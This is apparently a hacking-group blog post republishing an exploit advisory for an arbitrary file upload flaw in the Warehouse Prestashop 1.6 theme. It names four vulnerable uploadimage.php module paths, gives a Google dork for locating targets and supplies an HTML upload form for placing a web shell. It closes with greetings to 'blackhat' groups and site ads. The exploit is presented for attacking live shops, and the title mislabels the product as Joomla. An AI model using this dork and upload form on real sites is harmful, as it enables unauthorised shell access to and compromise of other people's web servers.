Warehouse - Responsive Prestashop 1.6 Arbitrary File Upload - 3xploi7 BuG

Warehouse - Responsive Prestashop 1.6 Arbitrary File Upload


#- Title: Joomla Warehouse - Responsive Prestashop 1.6 Arbitrary File Upload
#- Author: people_hurt
#- Published : 21/06/2016
#- Developer : iqit-commerce
#- Link Download : themeforest .net/item/warehouse-responsive-prestashop-16-theme-blog/3178575
#- Google Dork: inurl:"/modules/productpageadverts/"
#- Fixed in Version : -
#- Tested on : windows
=======================================================
-- Proof Of Concept --

Description : 
Warehouse is a clean, powerfull HTML5 responsive prestashop theme.

Warehouse utilizes many advanced modules and modifications like(rollover images, clean cart, sliders, autocomplete, dialogs). Theme is SEO friendly and is Cross Browser compatible, it’s based on prestashop 1.6 default Bootstrap theme

Vulnerability : 
site /modules/columnadverts/uploadimage.php
site /modules/homepageadvertise/uploadimage.php
site /modules/productpageadverts/uploadimage.php
site /modules/simpleslideshow/uploadimage.php

CSRF

<form method="POST" action="http://website/modules/module name/uploadimage.php" enctype="multipart/form-data"> <input type="file" name="userfile" /><button>Upload</button> </form>


If Succesfully   > shell.xxx

Shell Acces ? Click Here 

by people_hurt
Greetzzzz : jatim blackhat - surabaya hackerlink - surabaya blackhat and you

3xploi7 Team

1 Response to "Warehouse - Responsive Prestashop 1.6 Arbitrary File Upload"

Tempat Diskusi

Iklan Atas Artikel

3xploi7 1

seo explanation, online courses on digital marketing, internet marketing classes online

3xploi7 2

Iklan Bawah Artikel

Stay toon disini ya karena artikel akan selalu di update.
Kunjungi Terus " 3xploi7 " untuk update menarik selanjutnya, Jangan sampai Terlewatkan.

voucher'
• Join Grup Team :
 — Facebook Grup ( 4.325 Anggota )
 — Line Square